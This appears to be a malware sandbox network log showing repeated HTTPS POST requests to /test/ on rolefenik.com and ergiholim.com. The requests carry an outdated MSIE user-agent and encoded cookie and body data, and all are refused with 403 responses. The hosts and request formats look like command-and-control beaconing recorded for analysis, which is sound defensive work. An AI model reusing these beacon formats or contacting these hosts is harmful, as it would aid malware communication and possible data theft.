2024-11-13 17:23:39 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	50079	104.21.92.105	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:40 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:40 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:40 UTC	753	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2%2BM2cNwwzt3Olr2SsX%2Br4bdl8Z1yxN%2FvFE%2FJuOoz04mQIKvdI9HOcWzZ7pfNk7tRvajTqlxWR%2BWaZKxDlBD9iSZeSjuGA3m3vbQLKzRQJVd0C47ab2ls1RaOoyvjT%2Beg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2073709a56ce68-SJC alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=41658&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1167&delivery_rate=69520&cwnd=32&unsent_bytes=0&cid=9a1a4e3ed90fbf59&ts=549&x=0"
2024-11-13 17:23:40 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	50080	104.21.15.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:41 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:41 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:42 UTC	752	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HT%2FWTzb%2BFOnNfpD53mNEyzH2Uj2zL43XDudcNIF019IfZz3KUKD6RMI%2BIBtcCoSSRrxSADQUm%2FdcRO05SJeR8s4mtIZyoSq2uy%2FdSWXDOP3bb1lr5zqDUyvhBEHgXx2a"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e207379dbf7687f-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=151871&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=20624&cwnd=32&unsent_bytes=0&cid=610d245fe586dbef&ts=798&x=0"
2024-11-13 17:23:42 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	50081	104.21.92.105	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:43 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:43 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:44 UTC	750	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XKUvBUaO%2BtY9Pf%2Bcuumq09WIFjp2c2o33hdYmurBZn2K99YOOBfQIXzqE9tCggIndJWGZiTjY%2BI6vhCcpq4ICWi1RHfXu%2FVjzdUZ6nVNUwUZdbtNL92rkQXhaiYDDaNv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2073857fe2f5a3-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=152051&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1167&delivery_rate=19850&cwnd=32&unsent_bytes=0&cid=ed0e900ea97c8292&ts=732&x=0"
2024-11-13 17:23:44 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	50082	104.21.15.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:44 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:44 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:45 UTC	755	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LgWNhYSaoyJOWiPDTGA5g%2F7ZrrfZX4iDwuulk7M07xt0bTCEVgjxjsL%2FvVBIWY%2FZ0Kck%2FU7V9AF4uhNd99TZ92nkJgraZJG4dVQh%2F4dDwdyIOKTMOxL7YX0D%2BdSaBVRL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e20738d7d266c0d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1308&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1167&delivery_rate=2112326&cwnd=251&unsent_bytes=0&cid=25c9c3ee4ded2a4e&ts=422&x=0"
2024-11-13 17:23:45 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	50083	104.21.92.105	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:46 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:46 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:46 UTC	752	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mrwjC4qddBdn9lmfRTEMi525y39evnF0SOvFzbYHIAajVi8niqOXj6EwR%2F%2FQcWrhRn4M3L3td%2FKCPI%2B7lLglzIRCvI4X4TexZgi6ADx46Ox8PUNA8bnyIoPiK5ao%2FeWS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2073961ab0795e-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=142635&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=20311&cwnd=32&unsent_bytes=0&cid=e149ad309aa58f3d&ts=744&x=0"
2024-11-13 17:23:46 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	50084	104.21.15.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:47 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:47 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:48 UTC	748	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MqMvV1Xx4MdMXw%2FU06YO3ZRXAUKVdAdI4g9quOnQhsOwf1UdbLWvLLK3lwBTC29%2FUjL6CaPjeTLRje4MxIQ07sTKoW%2BYWefhp1NiBxd5mtVEq1Hpx87TL6xKhrPSbDbn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2073a01c227346-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=130070&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=22263&cwnd=32&unsent_bytes=0&cid=e26b5a25835c5e92&ts=783&x=0"
2024-11-13 17:23:48 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	50085	104.21.92.105	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:49 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:49 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:49 UTC	755	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xAl5KbUg4duCxs8%2FGiy1oqHjkB4Jzqwv7GEtknhFs8FEKmdncIp3fysdL2r%2BRm2lzdVN8%2BxGTmkOiVnA8UKo%2BQXmTNmRQQZd%2BKfQ0wVDNCLeq8fOml%2BinkPHFVILZ4da"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2073a8d8086b27-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1141&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=2592658&cwnd=249&unsent_bytes=0&cid=cc97e5480558a86b&ts=464&x=0"
2024-11-13 17:23:49 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	50086	104.21.15.162	443

